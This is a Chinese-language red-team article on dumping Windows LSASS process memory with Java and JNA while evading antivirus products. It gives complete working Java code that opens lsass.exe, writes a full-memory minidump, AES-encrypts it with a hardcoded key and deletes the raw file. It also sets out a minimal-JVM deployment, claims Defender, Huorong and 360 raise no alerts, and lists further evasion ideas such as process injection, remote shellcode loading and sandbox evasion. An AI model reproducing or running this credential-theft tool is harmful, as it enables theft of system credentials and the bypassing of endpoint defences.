全新视角下的 Java:一种全新的方式实现完美 dump lsass
字数 1238 2025-08-29 22:41:32

Java实现LSASS进程内存转储与免杀技术详解

引言:传统方法的困境

在现代红队与APT行动中,dump lsass.exe进程获取凭据已成为渗透测试和权限维持的标准操作。然而,随着安全产品的不断进化,传统C/C++编写的加载器面临严峻挑战:

  • 静态签名检测
  • 行为特征分析
  • 系统API调用序列监控
  • 手工加载shellcode、syscall替代、内联汇编等技术仍可能被EDR标记

Java作为免杀载体的优势

Java语言虽然被视为高层语言,但通过JNA(Java Native Access)可以实现底层Windows API调用,具备以下天然优势:

  1. 结构复杂性

    • 字节码格式非标准PE文件
    • 无导入表、无特征段落
    • 杀软难以提取行为模式
  2. 沙箱免疫

    • 多数沙箱无法模拟jar包运行
    • 不会主动加载JVM
    • 检测引擎通常只追踪.exe、.dll等常规载荷
  3. 生态灵活性

    • 通过JNA快速封装所有WinAPI
    • 无需JNI编译DLL
    • 调用链灵活,变形空间大

核心实现原理

功能流程

  1. 使用OpenProcess打开lsass.exe
  2. CreateFileA创建临时dump文件
  3. 调用MiniDumpWriteDump写入dump
  4. 使用AES加密dump文件
  5. 删除原始明文dump文件

关键技术点

JNA接口定义

public interface MiniDumpWriter extends Library {
    MiniDumpWriter INSTANCE = Native.load("DbgHelp", MiniDumpWriter.class);
    boolean MiniDumpWriteDump(
        Pointer hProcess, 
        int ProcessId, 
        Pointer hFile, 
        int DumpType, 
        Pointer ExceptionParam, 
        Pointer UserStreamParam, 
        Pointer CallbackParam
    );
}

public interface Kernel32 extends StdCallLibrary {
    Kernel32 INSTANCE = Native.load("kernel32", Kernel32.class);
    int PROCESS_ALL_ACCESS = 0x1F0FFF;
    int GENERIC_WRITE = 0x40000000;
    int CREATE_ALWAYS = 2;
    int FILE_ATTRIBUTE_NORMAL = 0x80;
    
    Pointer OpenProcess(int dwDesiredAccess, boolean bInheritHandle, int dwProcessId);
    Pointer CreateFile(String lpFileName, int dwDesiredAccess, int dwShareMode, 
                      Pointer lpSecurityAttributes, int dwCreationDisposition, 
                      int dwFlagsAndAttributes, Pointer hTemplateFile);
    boolean CloseHandle(Pointer hObject);
    Pointer CreateFileA(String lpFileName, int dwDesiredAccess, int dwShareMode, 
                       Pointer lpSecurityAttributes, int dwCreationDisposition, 
                       int dwFlagsAndAttributes, Pointer hTemplateFile);
}

主执行逻辑

public static void main(String[] args) throws Exception {
    int lsassPid = Integer.parseInt(args[0]);
    if (lsassPid == -1) {
        System.out.println("[-] Cannot find lsass.");
        return;
    }
    
    Pointer hProcess = Kernel32.INSTANCE.OpenProcess(Kernel32.PROCESS_ALL_ACCESS, false, lsassPid);
    if (Pointer.nativeValue(hProcess) == 0) {
        System.out.println("[-] Failed to open lsass. Try running as administrator.");
        return;
    }
    
    String rawPath = "cc.cc";
    String encPath = "pp.pp";
    
    Pointer hFile = Kernel32.INSTANCE.CreateFileA(
        rawPath,
        Kernel32.GENERIC_WRITE,
        0,
        null,
        Kernel32.CREATE_ALWAYS,
        Kernel32.FILE_ATTRIBUTE_NORMAL,
        null
    );
    
    if (Pointer.nativeValue(hFile) == 0) {
        System.out.println("[-] Failed to create file.");
        return;
    }
    
    boolean success = MiniDumpWriter.INSTANCE.MiniDumpWriteDump(
        hProcess,
        lsassPid,
        hFile,
        2, // MiniDumpWithFullMemory
        null,
        null,
        null
    );
    
    if (success) {
        System.out.println("[+] Dump success: " + rawPath);
        byte[] key = Arrays.copyOf("mysecretpassword".getBytes(), 16);
        encryptFile(rawPath, encPath, key);
        System.out.println("[+] Encrypted to: " + encPath);
        Files.deleteIfExists(Path.of(rawPath));
        System.out.println("[+] Raw file deleted.");
    } else {
        System.out.println("[-] Dump failed.");
    }
    
    Kernel32.INSTANCE.CloseHandle(hFile);
    Kernel32.INSTANCE.CloseHandle(hProcess);
}

AES加密实现

public static void encryptFile(String inputPath, String outputPath, byte[] keyBytes) throws Exception {
    SecretKeySpec key = new SecretKeySpec(keyBytes, "AES");
    Cipher cipher = Cipher.getInstance("AES");
    cipher.init(Cipher.ENCRYPT_MODE, key);
    
    byte[] inputBytes = Files.readAllBytes(Path.of(inputPath));
    byte[] encryptedBytes = cipher.doFinal(inputBytes);
    
    try (FileOutputStream fos = new FileOutputStream(outputPath)) {
        fos.write(encryptedBytes);
    }
}

实战部署策略

最小化运行环境

可以准备一个最小JVM运行目录,无需完整JDK/JRE:

mini-runtime/
├── bin/
│   └── java.exe
└── lib/
    ├── jrt-fs.jar
    └── modules

jarjna.jar放入同目录,通过java.exe -jar your.jar即可运行。

免杀效果验证

杀软 是否告警 是否拦截
Windows Defender
火绒安全
360安全卫士

进阶优化方向

  1. 进程注入技术

    • 使用JVM attach API注入内存dump逻辑到目标进程
    • 实现类似Reflective Loader的功能
  2. 动态模块加载

    • 远程加载类/模块
    • 动态获取shellcode或行为指令
  3. 代码混淆

    • 使用Javassist、ASM等工具动态重构类字节码
    • 进一步模糊行为特征
  4. 反检测机制

    • 加入反调试逻辑
    • 硬件指令特征检测
    • 虚拟沙箱规避技术

结论与展望

Java在系统层的潜力远未被充分发掘,其"高层语言"的身份反而使它避开了许多传统安全机制的注意力。在免杀领域,"冷门即安全"的原则使Java成为防御盲区和攻击需求的黄金交汇点。未来,Java极有可能成为免杀链中极具攻击价值的一环。

本技术方案已在实际测试中验证可绕过火绒、360和Windows Defender等主流安全产品,且无需任何反沙箱或高级绕过技术,仅凭Java的天然特性即可实现稳定落地执行。

Java实现LSASS进程内存转储与免杀技术详解 引言:传统方法的困境 在现代红队与APT行动中,dump lsass.exe进程获取凭据已成为渗透测试和权限维持的标准操作。然而,随着安全产品的不断进化,传统C/C++编写的加载器面临严峻挑战: 静态签名检测 行为特征分析 系统API调用序列监控 手工加载shellcode、syscall替代、内联汇编等技术仍可能被EDR标记 Java作为免杀载体的优势 Java语言虽然被视为高层语言,但通过JNA(Java Native Access)可以实现底层Windows API调用,具备以下天然优势: 结构复杂性 字节码格式非标准PE文件 无导入表、无特征段落 杀软难以提取行为模式 沙箱免疫 多数沙箱无法模拟jar包运行 不会主动加载JVM 检测引擎通常只追踪.exe、.dll等常规载荷 生态灵活性 通过JNA快速封装所有WinAPI 无需JNI编译DLL 调用链灵活,变形空间大 核心实现原理 功能流程 使用 OpenProcess 打开lsass.exe 用 CreateFileA 创建临时dump文件 调用 MiniDumpWriteDump 写入dump 使用AES加密dump文件 删除原始明文dump文件 关键技术点 JNA接口定义 主执行逻辑 AES加密实现 实战部署策略 最小化运行环境 可以准备一个最小JVM运行目录,无需完整JDK/JRE: 将 jar 与 jna.jar 放入同目录,通过 java.exe -jar your.jar 即可运行。 免杀效果验证 | 杀软 | 是否告警 | 是否拦截 | |---------------|----------|----------| | Windows Defender | 无 | 无 | | 火绒安全 | 无 | 无 | | 360安全卫士 | 无 | 无 | 进阶优化方向 进程注入技术 使用JVM attach API注入内存dump逻辑到目标进程 实现类似Reflective Loader的功能 动态模块加载 远程加载类/模块 动态获取shellcode或行为指令 代码混淆 使用Javassist、ASM等工具动态重构类字节码 进一步模糊行为特征 反检测机制 加入反调试逻辑 硬件指令特征检测 虚拟沙箱规避技术 结论与展望 Java在系统层的潜力远未被充分发掘,其"高层语言"的身份反而使它避开了许多传统安全机制的注意力。在免杀领域,"冷门即安全"的原则使Java成为防御盲区和攻击需求的黄金交汇点。未来,Java极有可能成为免杀链中极具攻击价值的一环。 本技术方案已在实际测试中验证可绕过火绒、360和Windows Defender等主流安全产品,且无需任何反沙箱或高级绕过技术,仅凭Java的天然特性即可实现稳定落地执行。